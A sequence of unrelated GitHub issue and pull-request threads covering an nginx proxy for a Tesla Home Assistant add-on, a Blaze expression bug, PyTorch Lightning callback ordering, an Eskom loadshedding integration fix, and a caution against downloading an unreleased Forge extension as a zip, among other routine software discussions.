            root   /usr/share/nginx/html;
            try_files /com.tesla.3p.public-key.pem =404;
        }
    }
}

I created the com.tesla.3p.public-key.pem file with what the addons logs
the other location in the config is my rpi3 IP running homeassistant with this add-on
this is my docker create command
docker create --log-opt max-size=10m --name tesla-proxy -v /var/docker/appdata/tesla-proxy/html:/usr/share/nginx/html:ro -v /var/docker/appdata/tesla-proxy/nginx.conf:/etc/nginx/nginx.conf:ro --network="web" --label traefik.enable=true --label traefik.http.services.tesla.loadbalancer.server.port=80  --label traefik.http.routers.tesla.rule="Host(\tesla.mydomain.duckdns.org`)" --label traefik.docker.network=web nginx`
depending your docker setup you may need to change or remove the "web" network arguments

Hi all,
Wondering where best to post this question, so apologies if this is the wrong spot.
I am behind a CGNAT isp (starlink) and I assume that would stop me running this proxy.
I do have an external domain name on a Cpanel shared host but I don't think this has enough access to run a docker container or similar with the original Tesla proxy or one of the other variants. I am guessing I would need to go to something like a droplet?
Has anyone gone down this path? Any suggestions?
Thanks in advance

For testing the Tesla integration in a devcontainer, I needed a way to run this addon standalone, without HAOS.  So I've added a script for this purpose in 4b31c1dc937d28006847c4cbee086bfaa9abdfae.  It mimics some of the HAOS concepts so that the same Docker image will work, and runs a separate Nginx container.  It might be helpful to some of you.


Format fix

Enforces key format rules for includes and fields.

Changes Unknown when pulling f0b200c6ac27a03abdf08d572cdb7bfaa1d17ea4 on format_fix into ** on master**.


Strange things happen when mixing different instances of a bz.Data object

In my larger example I get incorrect SQL issued and an SQL error. In my repro below it throws a ValueError.
It may be the case that the answer is simply "Don't Do That" but in that case it may still be nice if it's possible to detect it to then throw a more meaningful error.

Using the same test case as in https://github.com/blaze/blaze/issues/1552#issuecomment-235126768 I observe the following behaviour:
In [8]: def get_data():
   ...:     """Returns a *new* `bz.Data` object wrapping the same table"""
   ...:     return bz.Data(T1)

In [9]: mask = get_data().label_id.isin({2})

In [10]: odo(get_data()[mask], pd.DataFrame)
Traceback (most recent call last):

  File "<ipython-input-10-340392c503d0>", line 1, in <module>
    odo(get_data()[mask], pd.DataFrame)

  File "c:\dev\packages\blaze\blaze\expr\expressions.py", line 132, in __getitem__
    return selection(self, key)

  File "c:\dev\packages\blaze\blaze\expr\expressions.py", line 523, in selection
    subexpr = common_subexpression(table, predicate)

  File "c:\dev\packages\blaze\blaze\expr\core.py", line 502, in common_subexpression
    'No common leaves found in expressions %s' % list(exprs)

ValueError: No common leaves found in expressions [<'Table' data; _name='_3', dshape='var * {  timestamp: string,  label_id: map[int32, ...'>,    label_id
0     False
1     False
2      True
3      True
4     False
5      True
6     False
7     False
8      True
9     False
...]

In my larger example I get an even more opaque DatabaseError but I haven't been able to isolate a test case to repro it exactly.
As you can see below though it looks like its raising an exception in the same common_subexpression but somehow that's being caught and actual incorrect SQL is issued to the DB
  File "c:\dev\packages\blaze\blaze\expr\core.py", line 502, in common_subexpression
    'No common leaves found in expressions %s' % list(exprs)

In [5]: mask = schema.HOLIDAY_SCHEDULE.hs_hc_id.isin({1})

In [6]: schema.HOLIDAY_SCHEDULE[mask]
Traceback (most recent call last):

  File "<ipython-input-6-5927c2648912>", line 1, in <module>
    schema.HOLIDAY_SCHEDULE[mask]

  File "c:\dev\packages\blaze\blaze\expr\expressions.py", line 132, in __getitem__
    return selection(self, key)

  File "c:\dev\packages\blaze\blaze\expr\expressions.py", line 523, in selection
    subexpr = common_subexpression(table, predicate)

  File "c:\dev\packages\blaze\blaze\expr\core.py", line 502, in common_subexpression
    'No common leaves found in expressions %s' % list(exprs)

  File "c:\dev\packages\blaze\blaze\interactive.py", line 444, in _choose_repr
    return expr_repr(self)

  File "c:\dev\packages\blaze\blaze\interactive.py", line 360, in expr_repr
    return repr_tables(expr, 10)

  File "c:\dev\packages\blaze\blaze\interactive.py", line 242, in repr_tables
    result = concrete_head(expr, n).rename(columns={None: ''})

  File "c:\dev\packages\blaze\blaze\interactive.py", line 232, in concrete_head
    df = odo(head, DataFrame)

  File "c:\dev\packages\odo\odo\odo.py", line 91, in odo
    return into(target, source, **kwargs)

  File "C:\Python\lib\site-packages\multipledispatch\dispatcher.py", line 164, in __call__
    return func(*args, **kwargs)

  File "c:\dev\packages\blaze\blaze\interactive.py", line 406, in into
    return into(a, result, **kwargs)

  File "C:\Python\lib\site-packages\multipledispatch\dispatcher.py", line 164, in __call__
    return func(*args, **kwargs)

  File "c:\dev\packages\odo\odo\into.py", line 43, in wrapped
    return f(*args, **kwargs)

  File "c:\dev\packages\odo\odo\into.py", line 53, in into_type
    return convert(a, b, dshape=dshape, **kwargs)

  File "c:\dev\packages\odo\odo\core.py", line 44, in __call__
    return _transform(self.graph, *args, **kwargs)

  File "c:\dev\packages\odo\odo\core.py", line 60, in _transform
    x = f(x, excluded_edges=excluded_edges, **kwargs)

  File "c:\dev\packages\odo\odo\backends\sql.py", line 652, in select_or_selectable_to_frame
    columns, rows = batch(el, bind=bind)

  File "c:\dev\packages\odo\odo\backends\sql.py", line 144, in batch
    return next(terator), concat(terator)

  File "c:\dev\packages\odo\odo\backends\sql.py", line 134, in rowterator
    result = conn.execute(sel)

  File "C:\Python\lib\site-packages\sqlalchemy\engine\base.py", line 914, in execute
    return meth(self, multiparams, params)

  File "C:\Python\lib\site-packages\sqlalchemy\sql\elements.py", line 323, in _execute_on_connection
    return connection._execute_clauseelement(self, multiparams, params)

  File "C:\Python\lib\site-packages\sqlalchemy\engine\base.py", line 1010, in _execute_clauseelement
    compiled_sql, distilled_params

  File "C:\Python\lib\site-packages\sqlalchemy\engine\base.py", line 1146, in _execute_context
    context)

  File "C:\Python\lib\site-packages\sqlalchemy\engine\base.py", line 1341, in _handle_dbapi_exception
    exc_info

  File "C:\Python\lib\site-packages\sqlalchemy\util\compat.py", line 202, in raise_from_cause
    reraise(type(exception), exception, tb=exc_tb, cause=cause)

  File "C:\Python\lib\site-packages\sqlalchemy\util\compat.py", line 185, in reraise
    raise value.with_traceback(tb)

  File "C:\Python\lib\site-packages\sqlalchemy\engine\base.py", line 1139, in _execute_context
    context)

  File "C:\Python\lib\site-packages\sqlalchemy\engine\default.py", line 450, in do_execute
    cursor.execute(statement, parameters)

DatabaseError: (cx_Oracle.DatabaseError) ORA-00923: FROM keyword not found where expected
 [SQL: '''
    SELECT anon_1
    FROM (
        SELECT "CALENDARS"."HOLIDAY_SCHEDULE".hs_hc_id IN (:hs_hc_id_1) AS anon_1
        FROM "CALENDARS"."HOLIDAY_SCHEDULE"
    )
    WHERE ROWNUM <= :param_1
'''] [parameters: {'param_1': 11, 'hs_hc_id_1': 1}]

...so, the reason why my oracle case fails in a different manner is that the below code fails when trying to repr the exprs
    # no common leaves therefore no common subexpression
    if not leaves:
        raise ValueError(
            'No common leaves found in expressions %s' % list(exprs)
        )

I'm not sure how repr is being called but the below code seems to fix the problem with the incorrect exception being thrown:
    # no common leaves therefore no common subexpression
    if not leaves:
        raise ValueError(
            'No common leaves found in expressions %s' % list(map(str, exprs))
        )

...after which I then get the same no common leaves exception
  File "c:\dev\packages\blaze\blaze\expr\expressions.py", line 132, in __getitem__
    return selection(self, key)
  File "c:\dev\packages\blaze\blaze\expr\expressions.py", line 523, in selection
    subexpr = common_subexpression(table, predicate)
  File "c:\dev\packages\blaze\blaze\expr\core.py", line 502, in common_subexpression
    'No common leaves found in expressions %s' % list(map(str, exprs))
ValueError: No common leaves found in expressions ['_2', '_1.hs_hc_id.isin(frozenset({1}))']

Thanks for writing up the issue.  This exposes a current design flaw; Blaze currently assumes that different Data objects refer to different datasets; the internal logic for selecting based on your mask tries to enforce that the table used for the predicate is the same as the table being selected.
Some questions and comments:

what version of Blaze are you using here?
Please try this example against the most recent Blaze release and let us know if it still errors.
You will need to change the bz.Data() to bz.data() in the most recent version of Blaze -- that is the user-facing API for creating Data objects.  There is logic in bz.data() and I'm curious if it resolves this issue for us already.

If the issue is still there with recent Blaze, then one possible solution would be to leverage the current expression cache and make Data objects singletons based on the underlying dataset, in the same way that other blaze expressions are also singletons based on their arguments, that way the get_data()[mask] expression would only refer to a single Data source.

I'm running from a source checkout of the latest master bz.Data still seems to be around and doesn't issue a deprecation warning AFAICS. The behaviour is the same regardless of which (data/Data) I use.
I guess it would be nice for it to work but as mentioned I'm happy enough for it to be unsupported though a better error message would be helpful if possible. My major issue was that a completely unrelated error was being thrown when trying to repr the expression which totally threw me off track for a bit. At least no common leaves found is suggestive of the underlying cause of the problem.

I'm running from a source checkout of the latest master bz.Data still seems to be around and doesn't issue a deprecation warning AFAICS. The behaviour is the same regardless of which (data/Data) I use.

Hmm, OK, thanks for checking.  It doesn't matter here, but data() is meant to be the public API -- in the future data() may have logic in it that Data doesn't.

I guess it would be nice for it to work but as mentioned I'm happy enough for it to be unsupported though a better error message would be helpful if possible.

OK, thanks for the input -- agreed on better error messages.


Affiliate API still live?

Not really a code issue, but since this repo is the only place I've been able to find on the internet where it looks like someone's been successfully using the affiliate API since after 2019...
Does anyone know if the API is it still live / supported?  Are there any secret hidden docs or guides or frontends?  All the docs, examples, and tools at walmart.io seem super bitrotted and broken, and I've tried multiple "application" entries with multiple client implementations (including this one) and I never get anything but a 401.

FWIW, I did manage to get the client working, and I also heard back from the walmart-IO support team when I had questions.  Their support is actually fairly helpful, despite the whole access portal looking like it hasn't been touched in years.


Mismatch between on_validation_epoch_end and on_train_epoch_end

🐛 Bug
The behaviour of the callback hooks on_train_epoch_end and on_validation_epoch_end do not match. While on_train_epoch_end can access metrics of the same epoch from the validation_epoch_end method the opposite is not true. More concretely, when accessing trainer.callback_metrics from on_validation_epoch_end the values logged in training_epoch_end correspond to the previous epoch rather than the current one.
To Reproduce
On master:
class LitModel(pl.LightningModule):

    def __init__(self):
        super().__init__()
        self.layer_1 = torch.nn.Linear(28 * 28, 128)
        self.layer_2 = torch.nn.Linear(128, 10)

    def forward(self, x):
        x = x.view(x.size(0), -1)
        x = self.layer_1(x)
        x = F.relu(x)
        x = self.layer_2(x)
        return x

    def configure_optimizers(self):
        optimizer = torch.optim.Adam(self.parameters(), lr=1e-3)
        return optimizer

    def training_step(self, batch, batch_idx):
        x, y = batch
        y_hat = self(x)
        loss = F.cross_entropy(y_hat, y)
        self.log('loss', loss)
        return {'loss': loss}

    def validation_step(self, batch, batch_idx):
        x, y = batch
        y_hat = self(x)
        loss = F.cross_entropy(y_hat, y)
        self.log('val_loss', loss)
        return {"val_loss": loss}

    def training_epoch_end(self, outputs):
        loss_val = torch.stack([x['loss'] for x in outputs]).mean()
        self.log('train_loss_epoch', loss_val)

    def validation_epoch_end(self, outputs):
        loss_val = torch.stack([x['val_loss'] for x in outputs]).mean()
        self.log('val_loss_epoch', loss_val)

class CustomCallback(Callback):

    def on_epoch_end(self, trainer, pl_module):
        metrics = trainer.callback_metrics
        epoch = trainer.current_epoch
        print(f"Epoch {epoch}: {metrics}")

    def on_validation_epoch_end(self, trainer, pl_module):
        print(f"Val_epoch_end: {trainer.callback_metrics}")

    def on_train_epoch_end(self, trainer, pl_module):
        print(f"Train_epoch_end: {trainer.callback_metrics}")
        print("\n")

model = LitModel()

dataset = MNIST(os.getcwd(), download=True, train=False, transform=transforms.ToTensor())
train, val = random_split(dataset, [9000, 1000])

train_loader = DataLoader(train, batch_size=32)
val_loader = DataLoader(val, batch_size=32)

# train
trainer = pl.Trainer(gpus=1, progress_bar_refresh_rate=0, max_epochs=10,
                     num_sanity_val_steps=0, callbacks=[CustomCallback()])
trainer.fit(model, train_loader, val_loader)

Observed behaviour
Val_epoch_end: {'loss': tensor(0.3406, device='cuda:0'), 'val_loss': tensor(0.1225, device='cuda:0'), 'val_loss_epoch': tensor(0.2968, device='cuda:0')}
Epoch 0: {'loss': tensor(0.3406, device='cuda:0'), 'val_loss': tensor(0.1225, device='cuda:0'), 'val_loss_epoch': tensor(0.2968, device='cuda:0'), 'train_loss_epoch': tensor(0.6143, device='cuda:0')}
Train_epoch_end: {'loss': tensor(0.3406, device='cuda:0'), 'val_loss': tensor(0.1225, device='cuda:0'), 'val_loss_epoch': tensor(0.2968, device='cuda:0'), 'train_loss_epoch': tensor(0.6143, device='cuda:0')}

Val_epoch_end: {'loss': tensor(0.2575, device='cuda:0'), 'val_loss': tensor(0.0525, device='cuda:0'), 'val_loss_epoch': tensor(0.2291, device='cuda:0'), 'train_loss_epoch': tensor(0.6143, device='cuda:0')}
Epoch 1: {'loss': tensor(0.2575, device='cuda:0'), 'val_loss': tensor(0.0525, device='cuda:0'), 'val_loss_epoch': tensor(0.2291, device='cuda:0'), 'train_loss_epoch': tensor(0.2746, device='cuda:0')}
Train_epoch_end: {'loss': tensor(0.2575, device='cuda:0'), 'val_loss': tensor(0.0525, device='cuda:0'), 'val_loss_epoch': tensor(0.2291, device='cuda:0'), 'train_loss_epoch': tensor(0.2746, device='cuda:0')}

Val_epoch_end: {'loss': tensor(0.1669, device='cuda:0'), 'val_loss': tensor(0.0316, device='cuda:0'), 'val_loss_epoch': tensor(0.1905, device='cuda:0'), 'train_loss_epoch': tensor(0.2746, device='cuda:0')}
Epoch 2: {'loss': tensor(0.1669, device='cuda:0'), 'val_loss': tensor(0.0316, device='cuda:0'), 'val_loss_epoch': tensor(0.1905, device='cuda:0'), 'train_loss_epoch': tensor(0.2091, device='cuda:0')}
Train_epoch_end: {'loss': tensor(0.1669, device='cuda:0'), 'val_loss': tensor(0.0316, device='cuda:0'), 'val_loss_epoch': tensor(0.1905, device='cuda:0'), 'train_loss_epoch': tensor(0.2091, device='cuda:0')}

Expected behavior
Though I imagine there may not be many situations where this may have an impact (as accessing training metrics using the on_validation_epoch_end hook would be unusual) I find the behaviour somewhat confusing. I suspect this may be due to the order in which the hooks are executed. Is this intended behaviour, or should there be consistency in the behaviour of both hooks?

From #2816 and determining when training_epoch_end and validation_epoch_end are called explains the behaviour - the hook on_validation_epoch_end is called before training_epoch_end which is why the values from the training epoch are not yet available and the values correspond to the previous epoch. Not sure if the behaviour warrants a fix - as not necessarily a bug, though somewhat counterintuitive when first looking at it?

Not every epoch takes 2 minutes :)
On many research lines one needs to check validation multiple times within an epoch.
For example:
Train --------------------------------------
Val     -C-                     -C-                          -C-
This comes up during things like BERT + NLP, imagenet and huge datasets where an epoch might take days.
This behavior is expected.

Just making sure -
For a specific epoch, there is no hook that contains metrics arriving from both 'validation_epoch_end' and 'training_epoch_end' ?
(meaning there is no hooks that is being called after 'training_epoch_end')
if I need to access both, the only option is to use hooks called before the next epoch starts?

This behavior is expected.
If not already the case, could the documentation precise this point?


[Scroll animation] Storybook example is not on grid

Scroll animation works well but the  example in storybook shows layout that's not on the grid. Please see screenshot below. The Table of Content component should be used in the left 3 column. In current example story, it is showing in 4th column, nudging all things off grid.
Current

Expected

Per Shixie, fixed.  Closing


ScrollToTop

how do I create a button with the "scrollToTop ()" type function?

Just pass ref to the HeaderImageScrollView
and on button click -
scrollViewRef.current.scrollTo({ y: 0, animated: true });

Just pass ref to the HeaderImageScrollView
and on button click -
scrollViewRef.current.scrollTo({ y: 0, animated: true });


[Connectors] Restrict axios timeout to CRUD from datasources.ts

Description
Follows #5666 (see comment there)
Risk & deploy
na

PMRR


Component not starting up

Version of the custom_component
1.0.3
Home Assistant Version:
2021.05
After upgrading to 2021.05, the component is just not starting up.  I turned on debug logging for this component as below:
logger:
default: info
logs:
custom_components.eskom_loadshedding: debug
These are the only log lines I found whereby the component is mentioned.
2021-05-06 20:01:30 INFO (MainThread) [homeassistant.setup] Setting up eskom_loadshedding
2021-05-06 20:01:30 INFO (MainThread) [custom_components.eskom_loadshedding]
Eskom Loadshedding Interface
Version: 1.0.3
Welcome to the Eskom Loadshedding Interface!
If you have any issues with this you need to open an issue here:
https://github.com/swartjean/ha-eskom-loadshedding/issues
2021-05-06 20:02:01 WARNING (MainThread) [homeassistant.bootstrap] Waiting on integrations to complete setup: eskom_loadshedding
2021-05-06 20:03:02 WARNING (MainThread) [homeassistant.bootstrap] Waiting on integrations to complete setup: eskom_loadshedding
2021-05-06 20:04:02 WARNING (MainThread) [homeassistant.bootstrap] Waiting on integrations to complete setup: eskom_loadshedding
2021-05-06 20:05:02 WARNING (MainThread) [homeassistant.bootstrap] Waiting on integrations to complete setup: eskom_loadshedding
2021-05-06 20:06:23 ERROR (MainThread) [custom_components.eskom_loadshedding] Error fetching eskom_loadshedding data: Error, invalid loadshedding stage received from API after 50 attempts
2021-05-06 20:06:23 DEBUG (MainThread) [custom_components.eskom_loadshedding] Finished fetching eskom_loadshedding data in 293.107 seconds
2021-05-06 20:06:23 WARNING (MainThread) [homeassistant.config_entries] Config entry 'Home' for eskom_loadshedding integration not ready yet: None; Retrying in background
I uninstalled the integration, installed it back, no luck whatsoever.
I even called https://loadshedding.eskom.co.za/LoadShedding/GetStatus from within my browser and it returns a result.
I hope that you'll be able to assist.

Hi @ipodmusicman,
Unfortunately this is the same issue that was raised earlier today in #10.
The Eskom API seems to be having some issues (note how it always returns a result of -1) and there isn't much that I can do on the integration side to remedy it.
I may be able to refine the startup procedure a bit, but the integration itself will still be broken until Eskom sorts their API out.

Yes, it is not related to 2021.5 - the failure started this morning at around 5:41am, and I was then still on 2021.4.x.

Doesn't -1 mean a loadshedding stage of 0 ?

So to explain the edit:
stage 0 = Eskom meets demand
stage 1 = Eskom needs to shed 1000MW load
stage 2 = Eskom needs to shed 2000MW load
stage -1 = Eskom has 1000MW reserve over and above demand
stage -2 = Eskom has 2000MW reserve over and above demand
So essentially, the eskom api is not currently broken, but the integration is broken for not taking this into account. The integration should set the loadshedding stage entity to 0 when the API responds with -1 or -2 or -3 etc.

Or rather, if the -1 really mean the site is broken, at least let the integration start up, with a stage 0 or whatever the last stage was in the recorder.

I have pushed a fix and a new version with this change, please check it out and confirm that the stage goes back to 0, then we can close this issue 👍
The integration will still take a few seconds to start as it needs to run through all of the API attempts before giving up and returning 0.


"String[]" in the docs is rendered as "String" on electronjs.org

It seems like writing String[] (to denote a list of strings) gets rendered as "String" by electronjs.org's markdown renderer.
For example, see how additionalArguments is described on GitHub.com:
https://github.com/electron/electron/blob/master/docs/api/browser-window.md#new-browserwindowoptions

vs. how it looks on electronjs.org:
https://electronjs.org/docs/api/browser-window#new-browserwindowoptions

Which is pretty confusing, since String and String[] are distinct types.
It looks like String[] gets converted to this HTML:
String

Duplicate of https://github.com/electron/electron/issues/16034. See #2102 and https://github.com/electron/i18n/pull/596 for more information.


Nested blockquotes?

Blockquotes inside blockquotes don't seem to be appearing as blockquotes. Could this be worked on?

As far as I know the Textile spec does not support nested blockquotes. What would be the syntax or an example of this?

My apologies, I am referring to the HTML version of blockquotes.
When using nested
 tags in textile-js, it does not show the nested blockquotes properly. This is because it is transforming the < and > symbols into < > text.

Aha, I get it. Quick testing confirms that this is indeed a bug.
The following should flow unchanged through the parser but instead escapes the inner tags.

foobar

a
b
c

a

a
b
c

I've looked at the code and have come across this comment in the code:

Unsurprisingly, all Textile implementations I have tested have trouble parsing simple HTML.
I simply match them here as there is no way anyone is using nested HTML today, or if they
are, then this will at least output less broken HTML as redundant tags will get quoted.

Looks like this is what we're hitting and time has caught up with me here. Time to fix this...

Excellent. Thanks for looking into it.


[Event Hubs] Fix Snippet Syntax

Summary
The focus of these changes is to update the snippet syntax from the legacy comment style (/@@/) to the compiler conditional for a few instances that were overlooked in the initial migration.   Riding along is a fix for a merge error that snuck into the solution file.

/check-enforcer evaluate

/azp run net - eventhub - ci

There seems to have been an issue connecting the PR to the CI pipeline.   The CI was successful and can be found [here].

/check-enforcer override


Static store functions?

Any plans to support static functions that can be called on the store?
The use case I'm dealing with currently is logic for converting backend data to a more client friendly format directly in the StateSource before dispatching. I would like to implement this code within the responsible Store but I don't want access to this.

Hey, not sure what you mean. Stores are already statics so everything on it should be accessible globally.
From what you've said, creating some utils might be more appropriate?


Summary network for time series data

Hi Stefan,
I would like to use a summary network to handle time series data coming from an ODE model. It is a toy model with one or two observed state(s), n_obs=31 fixed for each dataset and the described dynamics is very simple. From your experience, do you maybe have a proposal for a summary network that I should try out? To me, it is more important that the network is sufficient to capture all the relevant information than having the optimal output size. Thanks a lot!
Best regards
Zijian

Just to make sure (since I'm not super familiar with building ML models with keras yet), do you mean like the following:
class LSTM_Network(tf.keras.Model):
    """
    Implements an LSTM summary network to summarize time-series data generated from the CR model.
    """

    def __init__(self):
        super(LSTM_Network, self).__init__()

        self.lstm_part = Sequential([LSTM(64)])

    def call(self, x):

        out = self.lstm_part(x)
        return out

You can do that, but more simply, you can just do:
summary_net = LSTM(64)

Thanks! And the number of hidden units 64 comes from the dataset dimension (2, 31) so that we can be sure that the LSTM network is sufficient to preserve all the information (64 \geq 2*31)?

Exactly. Note, that tensorflow would require that your simulated data has the shape (batch_size, time_steps = 31, data_dim = 2).

Alright, thanks a lot!


Load selector operands for permutes from memory for csr_asparse_reg

As we know, we can load the selector operands from memory instead of storing them in register to increase the number of unique NNZs from 176 / 224 for DP/SP, to 240 / 480.
This can be used after running into the previous limit.

Some testing has shown that using N blocking great than 1 can provide speedups of around 1.1x to 1.3x for some sparse PyFR matrices.
As code is present for N blocking, (just set to 1), I thought it would be good to at least have a note it could be used again, if registers are free.

thanks! Yeah, this is a good trick.
Can you also commit some testers for SP? That would be very helpful.

Glad to know you like the N blocking as well.
I have the test cases currently as text files but they can be generated during the test easily. However, I'm not too sure on how the testing/CI is setup for this repo.
If you meant something like libxsmm/tests, then a spgemm_csr_asparse in the same fashion as https://github.com/hfp/libxsmm/blob/master/tests/gemm.c could work.
Otherwise, something like https://github.com/hfp/libxsmm/blob/master/samples/smm/specialized.cpp but only for the case of streaming B and C, store A in cache?
In either case, it's probably just as easy to adapt anything new to test both DP and SP, if preferred?

closing this issue as the code was merged.


Implement fluxctl save

Implement fluxctl save command that exports k8s objects to YAML files in the current directory:

Handles Namespaces, Deployments, Services and ReplicationControllers
Filters out add-ons from kube-system
Creates directory structure as per service-conf/k8s
Attributes that should not be persisted in version control (e.g status, uid, automatically maintained annotations, creationTimestamp etc) are filtered prior to writing

Sample output:
$ fluxctl save
Saving Namespace 'default' to default-ns.yaml
Saving Deployment 'flux' to default/flux-dep.yaml
Saving Deployment 'memcached' to default/memcached-dep.yaml
Saving Service 'fluxsvc' to default/fluxsvc-svc.yaml
Saving Service 'kubernetes' to default/kubernetes-svc.yaml
Saving Service 'memcached' to default/memcached-svc.yaml
Saving Namespace 'kube-system' to kube-system-ns.yaml

Outstanding questions:

Do we want to add any CLI options, e.g. ability to specify a target directory, include add-ons, don't filter attributes
Do we want to tackle implementing Export as a new protocol (as discussed below) as part of this PR?
Should Export include type & version information so that consumers can change their behaviour accordingly?
Are there any other things that we should filter out of objects?
Should we abort if target files already exist? Current implementation overwrites without warning

Fixes #460.

any advances on Export for the new platform method?

I think that name is fine; what it does is what I'd expect.

Sample output:
$ fluxctl save
Saving Namespace 'default' to default-ns.yaml
Saving Deployment 'flux' to default/flux-dep.yaml
Saving Deployment 'memcached' to default/memcached-dep.yaml
Saving Service 'fluxsvc' to default/fluxsvc-svc.yaml
Saving Service 'kubernetes' to default/kubernetes-svc.yaml
Saving Service 'memcached' to default/memcached-svc.yaml
Saving Namespace 'kube-system' to kube-system-ns.yaml

Do we want to add any CLI options, e.g. ability to specify a target directory, include add-ons, don't filter attributes

I reckon add the first, target directory. The others we can live without, until we can't.

Do we want to tackle implementing Export as a new protocol (as discussed below) as part of this PR?

Yes, I think so; we can collect it into a provisional new daemon protocol version.

Should Export include type & version information so that consumers can change their behaviour accordingly?

Type and version of what? (Kubernetes, v1.6? or something else)

Are there any other things that we should filter out of objects?
Should we abort if target files already exist? Current implementation overwrites without warning

Yes, definitely. I'd include a --force,-f.


Update rabbitmq-server-3.7 package

This PR updates the version of rabbitmq-server-3.7 to 3.7.7

@cf-london Please sign the Contributor License Agreement!
Click here to manually synchronize the status of this Pull Request.
See the FAQ for frequently asked questions.


PhantomJS has crashed

Which version of PhantomJS are you using? Tip: run phantomjs --version.
using phantomjs version 1.9.8

please tell me why?
68a70575-11bf-2075-416d0629-772c4802.dmp.zip

Please upgrade to PhantomJS 2. 1.9.x is no longer supported, and known to have many crasher bugs that are fixed in 2 version.


Roadmap Updates

Hi @jpechane and @rk3rn3r can both of you take a peak at these changes and if they look solid, we can then merge this sometime this week to update our roadmap accordingly for Q1.

@Naros Applied, thanks!


Small repo changes

Appreciate you putting this data out here Coop! Making this PR to give a few small suggestions on things to add.
Details

A few build related folders were added to the repo. There are typically excluded since they're only used when packaging a file. I added the default gitignore file which will prevent these from being accidentally added
You had conflicting python versions in the setup.py and your tox.ini settings. I won't be prescriptive on which version you should specify outside of excluding any python2.x versions since it's end of life was 1/1/2020.
Running python setup.py test is deprecated, so I removed those arguments from the setup() method
I removed the requirements.txt file. Since those same dependencies are in install_requires field of the setup() method, they will all automatically be included when a user installs your package, or when you install it locally with pip install .

This is fantastic Scottie and a ton of stuff I had no idea about. Appreciate you taking the time to go through and help clean it up.


[devtools-blog] Attempt to fix deployment

Whoops!
There were 76 warnings that will prevent this PR from being merged. Please take a look, and either fix, or provide a justification for why they can't be fixed.
WARNINGS
src/content/en/updates/2020/11/cvd.md#L242 - '


Uses HTTPS to clone GitHub repositories

Do not assumes that the user has an SSH key on their account

Thanks! 👍


Forge Extension by GPT

If you want to add it as Forge Extension...
unet-extractor.zip

Worked like a charm and I was also able to see what I was doing wrong originally when I wasn't getting the application to work.  Thank you for this!

Worked like a charm and I was also able to see what I was doing wrong originally when I wasn't getting the application to work. Thank you for this!

Based in the latest version.
unet-extractor.zip

Worked like a charm and I was also able to see what I was doing wrong originally when I wasn't getting the application to work. Thank you for this!

unet-extractor.zip

If you want to release it as a Forge extension, the proper way to do so is to release the source code on GitHub so that people can know what they are getting before they download and extract a .zip file with completely unknown and potentially insecure contents.

Worked like a charm and I was also able to see what I was doing wrong originally when I wasn't getting the application to work. Thank you for this!

The quoted user has very little if any visible activity on this platform, and could quite possibly be a sock-puppet account operated for the purpose of making potential attack vectors like the above .zip file seem seem legit, which is a social engineering tactic that was recently made popular by the famous attack that inserted malicious code into the XZ library.
The fact that interest in diffusion models and other local generative AI tooling has recently attracted a lot of new people to this platform, unfortunately means that it is also attractive for those looking to prey on people who are not following security best practices.
I strongly advise anyone reading this against downloading and extracting these files; instead, wait for a proper release of the extension code from the author, which if they have good intentions they will surely provide in order to avoid the possible perception of doing something nefarious.
Please use your brains, remain vigilant, and think twice before downloading anything of unknown origin and contents, most of all a zip file purporting to be an otherwise unreleased extension for a project that is very popular right now with people who are very new to this technology.

If you want to release it as a Forge extension, the proper way to do so is to release the source code on GitHub so that people can know what they are getting before they download and extract a .zip file with completely unknown and potentially insecure contents.

Worked like a charm and I was also able to see what I was doing wrong originally when I wasn't getting the application to work. Thank you for this!

The quoted user has very little if any visible activity on this platform, and could quite possibly be a sock-puppet account operated for the purpose of making potential attack vectors like the above .zip file seem seem legit, which is a social engineering tactic that was recently made popular by the famous attack that inserted malicious code into the XZ library.
The fact that interest in diffusion models and other local generative AI tooling has recently attracted a lot of new people to this platform, unfortunately means that it is also attractive for those looking to prey on people who are not following security best practices.
I strongly advise anyone reading this against downloading and extracting these files; instead, wait for a proper release of the extension code from the author, which if they have good intentions they will surely provide in order to avoid the possible perception of doing something nefarious.
Please use your brains, remain vigilant, and think twice before downloading anything of unknown origin and contents, most of all a zip file purporting to be an otherwise unreleased extension for a project that is very popular right now with people who are very new to this technology.

this is corect , please create a repo rauldlnx10

If you want to release it as a Forge extension, the proper way to do so is to release the source code on GitHub so that people can know what they are getting before they download and extract a .zip file with completely unknown and potentially insecure contents.

Worked like a charm and I was also able to see what I was doing wrong originally when I wasn't getting the application to work. Thank you for this!

The quoted user has very little if any visible activity on this platform, and could quite possibly be a sock-puppet account operated for the purpose of making potential attack vectors like the above .zip file seem seem legit, which is a social engineering tactic that was recently made popular by the famous attack that inserted malicious code into the XZ library.
The fact that interest in diffusion models and other local generative AI tooling has recently attracted a lot of new people to this platform, unfortunately means that it is also attractive for those looking to prey on people who are not following security best practices.
I strongly advise anyone reading this against downloading and extracting these files; instead, wait for a proper release of the extension code from the author, which if they have good intentions they will surely provide in order to avoid the possible perception of doing something nefarious.
Please use your brains, remain vigilant, and think twice before downloading anything of unknown origin and contents, most of all a zip file purporting to be an otherwise unreleased extension for a project that is very popular right now with people who are very new to this technology.

I apologize if I caused any concern by uploading the .zip file, I understand some users concerns due to possible attacks. I created the extension with very little programming knowledge and with the help of ChatGPT. I do this out of curiosity and as a hobby. I use github for my little projects.
As captainzero93 suggested I have created a repository. Thanks for everything :)
sd-webui-forge-extract-unet

If you want to release it as a Forge extension, the proper way to do so is to release the source code on GitHub so that people can know what they are getting before they download and extract a .zip file with completely unknown and potentially insecure contents.

Worked like a charm and I was also able to see what I was doing wrong originally when I wasn't getting the application to work. Thank you for this!

The quoted user has very little if any visible activity on this platform, and could quite possibly be a sock-puppet account operated for the purpose of making potential attack vectors like the above .zip file seem seem legit, which is a social engineering tactic that was recently made popular by the famous attack that inserted malicious code into the XZ library.
The fact that interest in diffusion models and other local generative AI tooling has recently attracted a lot of new people to this platform, unfortunately means that it is also attractive for those looking to prey on people who are not following security best practices.
I strongly advise anyone reading this against downloading and extracting these files; instead, wait for a proper release of the extension code from the author, which if they have good intentions they will surely provide in order to avoid the possible perception of doing something nefarious.
Please use your brains, remain vigilant, and think twice before downloading anything of unknown origin and contents, most of all a zip file purporting to be an otherwise unreleased extension for a project that is very popular right now with people who are very new to this technology.

this is correct , please create a repo rauldlnx10
my licence just asks for attribution , double check it yourself before uploading your rebuilt extension

Done, :) thanks for the advice

Well done, that's a much better way to distribute it.
Thanks for listening and taking the concern seriously.


Wrap glitch for last line of code block when using verbatim

@Wandmalfarbe Still a small issue: When the wrapped line is the last line of a page:

I goes out of the box.

Ref. #2

